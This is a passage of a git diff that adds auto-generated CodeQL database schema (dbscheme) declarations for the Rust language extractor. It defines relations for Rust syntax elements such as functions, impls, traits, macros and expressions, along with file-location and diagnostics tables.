+yeet_expr_attrs( + int id: @yeet_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +yeet_expr_exprs( + int id: @yeet_expr ref, + int expr: @expr ref +); + +yield_exprs( + unique int id: @yield_expr +); + +#keyset[id, index] +yield_expr_attrs( + int id: @yield_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +yield_expr_exprs( + int id: @yield_expr ref, + int expr: @expr ref +); + +block_exprs( + unique int id: @block_expr +); + +#keyset[id, index] +block_expr_attrs( + int id: @block_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +block_expr_is_async( + int id: @block_expr ref +); + +#keyset[id] +block_expr_is_const( + int id: @block_expr ref +); + +#keyset[id] +block_expr_is_gen( + int id: @block_expr ref +); + +#keyset[id] +block_expr_is_move( + int id: @block_expr ref +); + +#keyset[id] +block_expr_is_try( + int id: @block_expr ref +); + +#keyset[id] +block_expr_is_unsafe( + int id: @block_expr ref +); + +#keyset[id] +block_expr_stmt_lists( + int id: @block_expr ref, + int stmt_list: @stmt_list ref +); + +call_exprs( + unique int id: @call_expr +); + +#keyset[id] +call_expr_functions( + int id: @call_expr ref, + int function: @expr ref +); + +consts( + unique int id: @const +); + +#keyset[id, index] +const_attrs( + int id: @const ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +const_bodies( + int id: @const ref, + int body: @expr ref +); + +#keyset[id] +const_is_const( + int id: @const ref +); + +#keyset[id] +const_is_default( + int id: @const ref +); + +#keyset[id] +const_names( + int id: @const ref, + int name: @name ref +); + +#keyset[id] +const_type_reprs( + int id: @const ref, + int type_repr: @type_repr ref +); + +#keyset[id] +const_visibilities( + int id: @const ref, + int visibility: @visibility ref +); + +enums( + unique int id: @enum +); + +#keyset[id, index] +enum_attrs( + int id: @enum ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +enum_generic_param_lists( + int id: @enum ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +enum_names( + int id: @enum ref, + int name: @name ref +); + +#keyset[id] +enum_variant_lists( + int id: @enum ref, + int variant_list: @variant_list ref +); + +#keyset[id] +enum_visibilities( + int id: @enum ref, + int visibility: @visibility ref +); + +#keyset[id] +enum_where_clauses( + int id: @enum ref, + int where_clause: @where_clause ref +); + +extern_blocks( + unique int id: @extern_block +); + +#keyset[id] +extern_block_abis( + int id: @extern_block ref, + int abi: @abi ref +); + +#keyset[id, index] +extern_block_attrs( + int id: @extern_block ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +extern_block_extern_item_lists( + int id: @extern_block ref, + int extern_item_list: @extern_item_list ref +); + +#keyset[id] +extern_block_is_unsafe( + int id: @extern_block ref +); + +extern_crates( + unique int id: @extern_crate +); + +#keyset[id, index] +extern_crate_attrs( + int id: @extern_crate ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +extern_crate_identifiers( + int id: @extern_crate ref, + int identifier: @name_ref ref +); + +#keyset[id] +extern_crate_renames( + int id: @extern_crate ref, + int rename: @rename ref +); + +#keyset[id] +extern_crate_visibilities( + int id: @extern_crate ref, + int visibility: @visibility ref +); + +functions( + unique int id: @function +); + +#keyset[id] +function_abis( + int id: @function ref, + int abi: @abi ref +); + +#keyset[id] +function_bodies( + int id: @function ref, + int body: @block_expr ref +); + +#keyset[id] +function_generic_param_lists( + int id: @function ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +function_is_async( + int id: @function ref +); + +#keyset[id] +function_is_const( + int id: @function ref +); + +#keyset[id] +function_is_default( + int id: @function ref +); + +#keyset[id] +function_is_gen( + int id: @function ref +); + +#keyset[id] +function_is_unsafe( + int id: @function ref +); + +#keyset[id] +function_names( + int id: @function ref, + int name: @name ref +); + +#keyset[id] +function_ret_types( + int id: @function ref, + int ret_type: @ret_type_repr ref +); + +#keyset[id] +function_visibilities( + int id: @function ref, + int visibility: @visibility ref +); + +#keyset[id] +function_where_clauses( + int id: @function ref, + int where_clause: @where_clause ref +); + +impls( + unique int id: @impl +); + +#keyset[id] +impl_assoc_item_lists( + int id: @impl ref, + int assoc_item_list: @assoc_item_list ref +); + +#keyset[id, index] +impl_attrs( + int id: @impl ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +impl_generic_param_lists( + int id: @impl ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +impl_is_const( + int id: @impl ref +); + +#keyset[id] +impl_is_default( + int id: @impl ref +); + +#keyset[id] +impl_is_unsafe( + int id: @impl ref +); + +#keyset[id] +impl_self_ties( + int id: @impl ref, + int self_ty: @type_repr ref +); + +#keyset[id] +impl_traits( + int id: @impl ref, + int trait: @type_repr ref +); + +#keyset[id] +impl_visibilities( + int id: @impl ref, + int visibility: @visibility ref +); + +#keyset[id] +impl_where_clauses( + int id: @impl ref, + int where_clause: @where_clause ref +); + +@looping_expr = + @for_expr +| @loop_expr +| @while_expr +; + +#keyset[id] +looping_expr_loop_bodies( + int id: @looping_expr ref, + int loop_body: @block_expr ref +); + +macro_calls( + unique int id: @macro_call +); + +#keyset[id, index] +macro_call_attrs( + int id: @macro_call ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +macro_call_paths( + int id: @macro_call ref, + int path: @path ref +); + +#keyset[id] +macro_call_token_trees( + int id: @macro_call ref, + int token_tree: @token_tree ref +); + +#keyset[id] +macro_call_macro_call_expansions( + int id: @macro_call ref, + int macro_call_expansion: @ast_node ref +); + +macro_defs( + unique int id: @macro_def +); + +#keyset[id] +macro_def_args( + int id: @macro_def ref, + int args: @token_tree ref +); + +#keyset[id, index] +macro_def_attrs( + int id: @macro_def ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +macro_def_bodies( + int id: @macro_def ref, + int body: @token_tree ref +); + +#keyset[id] +macro_def_names( + int id: @macro_def ref, + int name: @name ref +); + +#keyset[id] +macro_def_visibilities( + int id: @macro_def ref, + int visibility: @visibility ref +); + +macro_rules( + unique int id: @macro_rules +); + +#keyset[id, index] +macro_rules_attrs( + int id: @macro_rules ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +macro_rules_names( + int id: @macro_rules ref, + int name: @name ref +); + +#keyset[id] +macro_rules_token_trees( + int id: @macro_rules ref, + int token_tree: @token_tree ref +); + +#keyset[id] +macro_rules_visibilities( + int id: @macro_rules ref, + int visibility: @visibility ref +); + +method_call_exprs( + unique int id: @method_call_expr +); + +#keyset[id] +method_call_expr_generic_arg_lists( + int id: @method_call_expr ref, + int generic_arg_list: @generic_arg_list ref +); + +#keyset[id] +method_call_expr_identifiers( + int id: @method_call_expr ref, + int identifier: @name_ref ref +); + +#keyset[id] +method_call_expr_receivers( + int id: @method_call_expr ref, + int receiver: @expr ref +); + +modules( + unique int id: @module +); + +#keyset[id, index] +module_attrs( + int id: @module ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +module_item_lists( + int id: @module ref, + int item_list: @item_list ref +); + +#keyset[id] +module_names( + int id: @module ref, + int name: @name ref +); + +#keyset[id] +module_visibilities( + int id: @module ref, + int visibility: @visibility ref +); + +path_exprs( + unique int id: @path_expr +); + +#keyset[id, index] +path_expr_attrs( + int id: @path_expr ref, + int index: int ref, + int attr: @attr ref +); + +path_pats( + unique int id: @path_pat +); + +statics( + unique int id: @static +); + +#keyset[id, index] +static_attrs( + int id: @static ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +static_bodies( + int id: @static ref, + int body: @expr ref +); + +#keyset[id] +static_is_mut( + int id: @static ref +); + +#keyset[id] +static_is_static( + int id: @static ref +); + +#keyset[id] +static_is_unsafe( + int id: @static ref +); + +#keyset[id] +static_names( + int id: @static ref, + int name: @name ref +); + +#keyset[id] +static_type_reprs( + int id: @static ref, + int type_repr: @type_repr ref +); + +#keyset[id] +static_visibilities( + int id: @static ref, + int visibility: @visibility ref +); + +structs( + unique int id: @struct +); + +#keyset[id, index] +struct_attrs( + int id: @struct ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +struct_field_lists_( + int id: @struct ref, + int field_list: @field_list ref +); + +#keyset[id] +struct_generic_param_lists( + int id: @struct ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +struct_names( + int id: @struct ref, + int name: @name ref +); + +#keyset[id] +struct_visibilities( + int id: @struct ref, + int visibility: @visibility ref +); + +#keyset[id] +struct_where_clauses( + int id: @struct ref, + int where_clause: @where_clause ref +); + +struct_exprs( + unique int id: @struct_expr +); + +#keyset[id] +struct_expr_struct_expr_field_lists( + int id: @struct_expr ref, + int struct_expr_field_list: @struct_expr_field_list ref +); + +struct_pats( + unique int id: @struct_pat +); + +#keyset[id] +struct_pat_struct_pat_field_lists( + int id: @struct_pat ref, + int struct_pat_field_list: @struct_pat_field_list ref +); + +traits( + unique int id: @trait +); + +#keyset[id] +trait_assoc_item_lists( + int id: @trait ref, + int assoc_item_list: @assoc_item_list ref +); + +#keyset[id, index] +trait_attrs( + int id: @trait ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +trait_generic_param_lists( + int id: @trait ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +trait_is_auto( + int id: @trait ref +); + +#keyset[id] +trait_is_unsafe( + int id: @trait ref +); + +#keyset[id] +trait_names( + int id: @trait ref, + int name: @name ref +); + +#keyset[id] +trait_type_bound_lists( + int id: @trait ref, + int type_bound_list: @type_bound_list ref +); + +#keyset[id] +trait_visibilities( + int id: @trait ref, + int visibility: @visibility ref +); + +#keyset[id] +trait_where_clauses( + int id: @trait ref, + int where_clause: @where_clause ref +); + +trait_aliases( + unique int id: @trait_alias +); + +#keyset[id, index] +trait_alias_attrs( + int id: @trait_alias ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +trait_alias_generic_param_lists( + int id: @trait_alias ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +trait_alias_names( + int id: @trait_alias ref, + int name: @name ref +); + +#keyset[id] +trait_alias_type_bound_lists( + int id: @trait_alias ref, + int type_bound_list: @type_bound_list ref +); + +#keyset[id] +trait_alias_visibilities( + int id: @trait_alias ref, + int visibility: @visibility ref +); + +#keyset[id] +trait_alias_where_clauses( + int id: @trait_alias ref, + int where_clause: @where_clause ref +); + +tuple_struct_pats( + unique int id: @tuple_struct_pat +); + +#keyset[id, index] +tuple_struct_pat_fields( + int id: @tuple_struct_pat ref, + int index: int ref, + int field: @pat ref +); + +type_aliases( + unique int id: @type_alias +); + +#keyset[id, index] +type_alias_attrs( + int id: @type_alias ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +type_alias_generic_param_lists( + int id: @type_alias ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +type_alias_is_default( + int id: @type_alias ref +); + +#keyset[id] +type_alias_names( + int id: @type_alias ref, + int name: @name ref +); + +#keyset[id] +type_alias_type_reprs( + int id: @type_alias ref, + int type_repr: @type_repr ref +); + +#keyset[id] +type_alias_type_bound_lists( + int id: @type_alias ref, + int type_bound_list: @type_bound_list ref +); + +#keyset[id] +type_alias_visibilities( + int id: @type_alias ref, + int visibility: @visibility ref +); + +#keyset[id] +type_alias_where_clauses( + int id: @type_alias ref, + int where_clause: @where_clause ref +); + +unions( + unique int id: @union +); + +#keyset[id, index] +union_attrs( + int id: @union ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +union_generic_param_lists( + int id: @union ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +union_names( + int id: @union ref, + int name: @name ref +); + +#keyset[id] +union_struct_field_lists( + int id: @union ref, + int struct_field_list: @struct_field_list ref +); + +#keyset[id] +union_visibilities( + int id: @union ref, + int visibility: @visibility ref +); + +#keyset[id] +union_where_clauses( + int id: @union ref, + int where_clause: @where_clause ref +); + +uses( + unique int id: @use +); + +#keyset[id, index] +use_attrs( + int id: @use ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +use_use_trees( + int id: @use ref, + int use_tree: @use_tree ref +); + +#keyset[id] +use_visibilities( + int id: @use ref, + int visibility: @visibility ref +); + +for_exprs( + unique int id: @for_expr +); + +#keyset[id, index] +for_expr_attrs( + int id: @for_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +for_expr_iterables( + int id: @for_expr ref, + int iterable: @expr ref +); + +#keyset[id] +for_expr_pats( + int id: @for_expr ref, + int pat: @pat ref +); + +loop_exprs( + unique int id: @loop_expr +); + +#keyset[id, index] +loop_expr_attrs( + int id: @loop_expr ref, + int index: int ref, + int attr: @attr ref +); + +while_exprs( + unique int id: @while_expr +); + +#keyset[id, index] +while_expr_attrs( + int id: @while_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +while_expr_conditions( + int id: @while_expr ref, + int condition: @expr ref +); diff --git a/rust/ql/lib/upgrades/2df29df1bf8f8ba77919fd0873007e8322654f67/rust.dbscheme b/rust/ql/lib/upgrades/2df29df1bf8f8ba77919fd0873007e8322654f67/rust.dbscheme new file mode 100644 index 000000000000..a1005655e9ef --- /dev/null +++ b/rust/ql/lib/upgrades/2df29df1bf8f8ba77919fd0873007e8322654f67/rust.dbscheme @@ -0,0 +1,3606 @@ +// generated by codegen, do not edit + +// from ../shared/tree-sitter-extractor/src/generator/prefix.dbscheme +/*- Files and folders -*/ + +/** + * The location of an element. + * The location spans column `startcolumn` of line `startline` to + * column `endcolumn` of line `endline` in file `file`. + * For more information, see + * [Locations](https://codeql.github.com/docs/writing-codeql-queries/providing-locations-in-codeql-queries/). + */ +locations_default( + unique int id: @location_default, + int file: @file ref, + int beginLine: int ref, + int beginColumn: int ref, + int endLine: int ref, + int endColumn: int ref +); + +files( + unique int id: @file, + string name: string ref +); + +folders( + unique int id: @folder, + string name: string ref +); + +@container = @file | @folder + +containerparent( + int parent: @container ref, + unique int child: @container ref +); + +/*- Empty location -*/ + +empty_location( + int location: @location_default ref +); + +/*- Source location prefix -*/ + +/** + * The source location of the snapshot. + */ +sourceLocationPrefix(string prefix : string ref); + +/*- Diagnostic messages -*/ + +diagnostics( + unique int id: @diagnostic, + int severity: int ref, + string error_tag: string ref, + string error_message: string ref, + string full_error_message: string ref, + int location: @location_default ref +); + +/*- Diagnostic messages: severity -*/ + +case @diagnostic.severity of + 10 = @diagnostic_debug +| 20 = @diagnostic_info +| 30 = @diagnostic_warning +| 40 = @diagnostic_error +; + +/*- YAML -*/ + +#keyset[parent, idx] +yaml (unique int id: @yaml_node, + int kind: int ref, + int parent: @yaml_node_parent ref, + int idx: int ref, + string tag: string ref, + string tostring: string ref); + +case @yaml_node.kind of + 0 = @yaml_scalar_node +| 1 = @yaml_mapping_node +| 2 = @yaml_sequence_node +| 3 = @yaml_alias_node +; + +@yaml_collection_node = @yaml_mapping_node | @yaml_sequence_node; + +@yaml_node_parent = @yaml_collection_node | @file; + +yaml_anchors (unique int node: @yaml_node ref, + string anchor: string ref); + +yaml_aliases (unique int alias: @yaml_alias_node ref, + string target: string ref); + +yaml_scalars (unique int scalar: @yaml_scalar_node ref, + int style: int ref, + string value: string ref); + +yaml_errors (unique int id: @yaml_error, + string message: string ref); + +yaml_locations(unique int locatable: @yaml_locatable ref, + int location: @location_default ref); + +@yaml_locatable = @yaml_node | @yaml_error; + + +// from prefix.dbscheme +#keyset[id] +locatable_locations( + int id: @locatable ref, + int location: @location_default ref +); + + +// from schema + +@element = + @extractor_step +| @locatable +| @named_crate +| @unextracted +; + +extractor_steps( + unique int id: @extractor_step, + string action: string ref, + int duration_ms: int ref +); + +#keyset[id] +extractor_step_files( + int id: @extractor_step ref, + int file: @file ref +); + +@locatable = + @ast_node +| @crate +; + +named_crates( + unique int id: @named_crate, + string name: string ref, + int crate: @crate ref +); + +@unextracted = + @missing +| @unimplemented +; + +@ast_node = + @abi +| @addressable +| @arg_list +| @asm_dir_spec +| @asm_operand +| @asm_operand_expr +| @asm_option +| @asm_piece +| @asm_reg_spec +| @assoc_item +| @assoc_item_list +| @attr +| @callable +| @closure_binder +| @expr +| @extern_item +| @extern_item_list +| @field_list +| @format_args_arg +| @generic_arg +| @generic_arg_list +| @generic_param +| @generic_param_list +| @item_list +| @label +| @let_else +| @macro_items +| @match_arm +| @match_arm_list +| @match_guard +| @meta +| @name +| @param_base +| @param_list +| @parenthesized_arg_list +| @pat +| @path +| @path_segment +| @rename +| @resolvable +| @ret_type_repr +| @return_type_syntax +| @source_file +| @stmt +| @stmt_list +| @struct_expr_field +| @struct_expr_field_list +| @struct_field +| @struct_pat_field +| @struct_pat_field_list +| @token +| @token_tree +| @tuple_field +| @type_bound +| @type_bound_list +| @type_repr +| @use_bound_generic_arg +| @use_bound_generic_args +| @use_tree +| @use_tree_list +| @variant_def +| @variant_list +| @visibility +| @where_clause +| @where_pred +; + +crates( + unique int id: @crate +); + +#keyset[id] +crate_names( + int id: @crate ref, + string name: string ref +); + +#keyset[id] +crate_versions( + int id: @crate ref, + string version: string ref +); + +#keyset[id, index] +crate_cfg_options( + int id: @crate ref, + int index: int ref, + string cfg_option: string ref +); + +#keyset[id, index] +crate_named_dependencies( + int id: @crate ref, + int index: int ref, + int named_dependency: @named_crate ref +); + +missings( + unique int id: @missing +); + +unimplementeds( + unique int id: @unimplemented +); + +abis( + unique int id: @abi +); + +#keyset[id] +abi_abi_strings( + int id: @abi ref, + string abi_string: string ref +); + +@addressable = + @item +| @variant +; + +#keyset[id] +addressable_extended_canonical_paths( + int id: @addressable ref, + string extended_canonical_path: string ref +); + +#keyset[id] +addressable_crate_origins( + int id: @addressable ref, + string crate_origin: string ref +); + +arg_lists( + unique int id: @arg_list +); + +#keyset[id, index] +arg_list_args( + int id: @arg_list ref, + int index: int ref, + int arg: @expr ref +); + +asm_dir_specs( + unique int id: @asm_dir_spec +); + +@asm_operand = + @asm_const +| @asm_label +| @asm_reg_operand +| @asm_sym +; + +asm_operand_exprs( + unique int id: @asm_operand_expr +); + +#keyset[id] +asm_operand_expr_in_exprs( + int id: @asm_operand_expr ref, + int in_expr: @expr ref +); + +#keyset[id] +asm_operand_expr_out_exprs( + int id: @asm_operand_expr ref, + int out_expr: @expr ref +); + +asm_options( + unique int id: @asm_option +); + +#keyset[id] +asm_option_is_raw( + int id: @asm_option ref +); + +@asm_piece = + @asm_clobber_abi +| @asm_operand_named +| @asm_options_list +; + +asm_reg_specs( + unique int id: @asm_reg_spec +); + +#keyset[id] +asm_reg_spec_identifiers( + int id: @asm_reg_spec ref, + int identifier: @name_ref ref +); + +@assoc_item = + @const +| @function +| @macro_call +| @type_alias +; + +assoc_item_lists( + unique int id: @assoc_item_list +); + +#keyset[id, index] +assoc_item_list_assoc_items( + int id: @assoc_item_list ref, + int index: int ref, + int assoc_item: @assoc_item ref +); + +#keyset[id, index] +assoc_item_list_attrs( + int id: @assoc_item_list ref, + int index: int ref, + int attr: @attr ref +); + +attrs( + unique int id: @attr +); + +#keyset[id] +attr_meta( + int id: @attr ref, + int meta: @meta ref +); + +@callable = + @closure_expr +| @function +; + +#keyset[id] +callable_param_lists( + int id: @callable ref, + int param_list: @param_list ref +); + +#keyset[id, index] +callable_attrs( + int id: @callable ref, + int index: int ref, + int attr: @attr ref +); + +closure_binders( + unique int id: @closure_binder +); + +#keyset[id] +closure_binder_generic_param_lists( + int id: @closure_binder ref, + int generic_param_list: @generic_param_list ref +); + +@expr = + @array_expr_internal +| @asm_expr +| @await_expr +| @become_expr +| @binary_expr +| @break_expr +| @call_expr_base +| @cast_expr +| @closure_expr +| @continue_expr +| @field_expr +| @format_args_expr +| @if_expr +| @index_expr +| @labelable_expr +| @let_expr +| @literal_expr +| @macro_block_expr +| @macro_expr +| @match_expr +| @offset_of_expr +| @paren_expr +| @path_expr_base +| @prefix_expr +| @range_expr +| @ref_expr +| @return_expr +| @struct_expr +| @try_expr +| @tuple_expr +| @underscore_expr +| @yeet_expr +| @yield_expr +; + +@extern_item = + @function +| @macro_call +| @static +| @type_alias +; + +extern_item_lists( + unique int id: @extern_item_list +); + +#keyset[id, index] +extern_item_list_attrs( + int id: @extern_item_list ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +extern_item_list_extern_items( + int id: @extern_item_list ref, + int index: int ref, + int extern_item: @extern_item ref +); + +@field_list = + @struct_field_list +| @tuple_field_list +; + +format_args_args( + unique int id: @format_args_arg +); + +#keyset[id] +format_args_arg_exprs( + int id: @format_args_arg ref, + int expr: @expr ref +); + +#keyset[id] +format_args_arg_names( + int id: @format_args_arg ref, + int name: @name ref +); + +@generic_arg = + @assoc_type_arg +| @const_arg +| @lifetime_arg +| @type_arg +; + +generic_arg_lists( + unique int id: @generic_arg_list +); + +#keyset[id, index] +generic_arg_list_generic_args( + int id: @generic_arg_list ref, + int index: int ref, + int generic_arg: @generic_arg ref +); + +@generic_param = + @const_param +| @lifetime_param +| @type_param +; + +generic_param_lists( + unique int id: @generic_param_list +); + +#keyset[id, index] +generic_param_list_generic_params( + int id: @generic_param_list ref, + int index: int ref, + int generic_param: @generic_param ref +); + +item_lists( + unique int id: @item_list +); + +#keyset[id, index] +item_list_attrs( + int id: @item_list ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +item_list_items( + int id: @item_list ref, + int index: int ref, + int item: @item ref +); + +labels( + unique int id: @label +); + +#keyset[id] +label_lifetimes( + int id: @label ref, + int lifetime: @lifetime ref +); + +let_elses( + unique int id: @let_else +); + +#keyset[id] +let_else_block_exprs( + int id: @let_else ref, + int block_expr: @block_expr ref +); + +macro_items( + unique int id: @macro_items +); + +#keyset[id, index] +macro_items_items( + int id: @macro_items ref, + int index: int ref, + int item: @item ref +); + +match_arms( + unique int id: @match_arm +); + +#keyset[id, index] +match_arm_attrs( + int id: @match_arm ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +match_arm_exprs( + int id: @match_arm ref, + int expr: @expr ref +); + +#keyset[id] +match_arm_guards( + int id: @match_arm ref, + int guard: @match_guard ref +); + +#keyset[id] +match_arm_pats( + int id: @match_arm ref, + int pat: @pat ref +); + +match_arm_lists( + unique int id: @match_arm_list +); + +#keyset[id, index] +match_arm_list_arms( + int id: @match_arm_list ref, + int index: int ref, + int arm: @match_arm ref +); + +#keyset[id, index] +match_arm_list_attrs( + int id: @match_arm_list ref, + int index: int ref, + int attr: @attr ref +); + +match_guards( + unique int id: @match_guard +); + +#keyset[id] +match_guard_conditions( + int id: @match_guard ref, + int condition: @expr ref +); + +meta( + unique int id: @meta +); + +#keyset[id] +meta_exprs( + int id: @meta ref, + int expr: @expr ref +); + +#keyset[id] +meta_is_unsafe( + int id: @meta ref +); + +#keyset[id] +meta_paths( + int id: @meta ref, + int path: @path ref +); + +#keyset[id] +meta_token_trees( + int id: @meta ref, + int token_tree: @token_tree ref +); + +names( + unique int id: @name +); + +#keyset[id] +name_texts( + int id: @name ref, + string text: string ref +); + +@param_base = + @param +| @self_param +; + +#keyset[id, index] +param_base_attrs( + int id: @param_base ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +param_base_type_reprs( + int id: @param_base ref, + int type_repr: @type_repr ref +); + +param_lists( + unique int id: @param_list +); + +#keyset[id, index] +param_list_params( + int id: @param_list ref, + int index: int ref, + int param: @param ref +); + +#keyset[id] +param_list_self_params( + int id: @param_list ref, + int self_param: @self_param ref +); + +parenthesized_arg_lists( + unique int id: @parenthesized_arg_list +); + +#keyset[id, index] +parenthesized_arg_list_type_args( + int id: @parenthesized_arg_list ref, + int index: int ref, + int type_arg: @type_arg ref +); + +@pat = + @box_pat +| @const_block_pat +| @ident_pat +| @literal_pat +| @macro_pat +| @or_pat +| @paren_pat +| @path_pat +| @range_pat +| @ref_pat +| @rest_pat +| @slice_pat +| @struct_pat +| @tuple_pat +| @tuple_struct_pat +| @wildcard_pat +; + +paths( + unique int id: @path +); + +#keyset[id] +path_qualifiers( + int id: @path ref, + int qualifier: @path ref +); + +#keyset[id] +path_segments_( + int id: @path ref, + int segment: @path_segment ref +); + +path_segments( + unique int id: @path_segment +); + +#keyset[id] +path_segment_generic_arg_lists( + int id: @path_segment ref, + int generic_arg_list: @generic_arg_list ref +); + +#keyset[id] +path_segment_identifiers( + int id: @path_segment ref, + int identifier: @name_ref ref +); + +#keyset[id] +path_segment_parenthesized_arg_lists( + int id: @path_segment ref, + int parenthesized_arg_list: @parenthesized_arg_list ref +); + +#keyset[id] +path_segment_ret_types( + int id: @path_segment ref, + int ret_type: @ret_type_repr ref +); + +#keyset[id] +path_segment_return_type_syntaxes( + int id: @path_segment ref, + int return_type_syntax: @return_type_syntax ref +); + +#keyset[id] +path_segment_type_reprs( + int id: @path_segment ref, + int type_repr: @type_repr ref +); + +#keyset[id] +path_segment_trait_type_reprs( + int id: @path_segment ref, + int trait_type_repr: @path_type_repr ref +); + +renames( + unique int id: @rename +); + +#keyset[id] +rename_names( + int id: @rename ref, + int name: @name ref +); + +@resolvable = + @method_call_expr +| @path_ast_node +; + +#keyset[id] +resolvable_resolved_paths( + int id: @resolvable ref, + string resolved_path: string ref +); + +#keyset[id] +resolvable_resolved_crate_origins( + int id: @resolvable ref, + string resolved_crate_origin: string ref +); + +ret_type_reprs( + unique int id: @ret_type_repr +); + +#keyset[id] +ret_type_repr_type_reprs( + int id: @ret_type_repr ref, + int type_repr: @type_repr ref +); + +return_type_syntaxes( + unique int id: @return_type_syntax +); + +source_files( + unique int id: @source_file +); + +#keyset[id, index] +source_file_attrs( + int id: @source_file ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +source_file_items( + int id: @source_file ref, + int index: int ref, + int item: @item ref +); + +@stmt = + @expr_stmt +| @item +| @let_stmt +; + +stmt_lists( + unique int id: @stmt_list +); + +#keyset[id, index] +stmt_list_attrs( + int id: @stmt_list ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +stmt_list_statements( + int id: @stmt_list ref, + int index: int ref, + int statement: @stmt ref +); + +#keyset[id] +stmt_list_tail_exprs( + int id: @stmt_list ref, + int tail_expr: @expr ref +); + +struct_expr_fields( + unique int id: @struct_expr_field +); + +#keyset[id, index] +struct_expr_field_attrs( + int id: @struct_expr_field ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +struct_expr_field_exprs( + int id: @struct_expr_field ref, + int expr: @expr ref +); + +#keyset[id] +struct_expr_field_identifiers( + int id: @struct_expr_field ref, + int identifier: @name_ref ref +); + +struct_expr_field_lists( + unique int id: @struct_expr_field_list +); + +#keyset[id, index] +struct_expr_field_list_attrs( + int id: @struct_expr_field_list ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +struct_expr_field_list_fields( + int id: @struct_expr_field_list ref, + int index: int ref, + int field: @struct_expr_field ref +); + +#keyset[id] +struct_expr_field_list_spreads( + int id: @struct_expr_field_list ref, + int spread: @expr ref +); + +struct_fields( + unique int id: @struct_field +); + +#keyset[id, index] +struct_field_attrs( + int id: @struct_field ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +struct_field_defaults( + int id: @struct_field ref, + int default: @expr ref +); + +#keyset[id] +struct_field_is_unsafe( + int id: @struct_field ref +); + +#keyset[id] +struct_field_names( + int id: @struct_field ref, + int name: @name ref +); + +#keyset[id] +struct_field_type_reprs( + int id: @struct_field ref, + int type_repr: @type_repr ref +); + +#keyset[id] +struct_field_visibilities( + int id: @struct_field ref, + int visibility: @visibility ref +); + +struct_pat_fields( + unique int id: @struct_pat_field +); + +#keyset[id, index] +struct_pat_field_attrs( + int id: @struct_pat_field ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +struct_pat_field_identifiers( + int id: @struct_pat_field ref, + int identifier: @name_ref ref +); + +#keyset[id] +struct_pat_field_pats( + int id: @struct_pat_field ref, + int pat: @pat ref +); + +struct_pat_field_lists( + unique int id: @struct_pat_field_list +); + +#keyset[id, index] +struct_pat_field_list_fields( + int id: @struct_pat_field_list ref, + int index: int ref, + int field: @struct_pat_field ref +); + +#keyset[id] +struct_pat_field_list_rest_pats( + int id: @struct_pat_field_list ref, + int rest_pat: @rest_pat ref +); + +@token = + @comment +; + +token_trees( + unique int id: @token_tree +); + +tuple_fields( + unique int id: @tuple_field +); + +#keyset[id, index] +tuple_field_attrs( + int id: @tuple_field ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +tuple_field_type_reprs( + int id: @tuple_field ref, + int type_repr: @type_repr ref +); + +#keyset[id] +tuple_field_visibilities( + int id: @tuple_field ref, + int visibility: @visibility ref +); + +type_bounds( + unique int id: @type_bound +); + +#keyset[id] +type_bound_is_async( + int id: @type_bound ref +); + +#keyset[id] +type_bound_is_const( + int id: @type_bound ref +); + +#keyset[id] +type_bound_lifetimes( + int id: @type_bound ref, + int lifetime: @lifetime ref +); + +#keyset[id] +type_bound_type_reprs( + int id: @type_bound ref, + int type_repr: @type_repr ref +); + +#keyset[id] +type_bound_use_bound_generic_args( + int id: @type_bound ref, + int use_bound_generic_args: @use_bound_generic_args ref +); + +type_bound_lists( + unique int id: @type_bound_list +); + +#keyset[id, index] +type_bound_list_bounds( + int id: @type_bound_list ref, + int index: int ref, + int bound: @type_bound ref +); + +@type_repr = + @array_type_repr +| @dyn_trait_type_repr +| @fn_ptr_type_repr +| @for_type_repr +| @impl_trait_type_repr +| @infer_type_repr +| @macro_type_repr +| @never_type_repr +| @paren_type_repr +| @path_type_repr +| @ptr_type_repr +| @ref_type_repr +| @slice_type_repr +| @tuple_type_repr +; + +@use_bound_generic_arg = + @lifetime +| @name_ref +; + +use_bound_generic_args( + unique int id: @use_bound_generic_args +); + +#keyset[id, index] +use_bound_generic_args_use_bound_generic_args( + int id: @use_bound_generic_args ref, + int index: int ref, + int use_bound_generic_arg: @use_bound_generic_arg ref +); + +use_trees( + unique int id: @use_tree +); + +#keyset[id] +use_tree_is_glob( + int id: @use_tree ref +); + +#keyset[id] 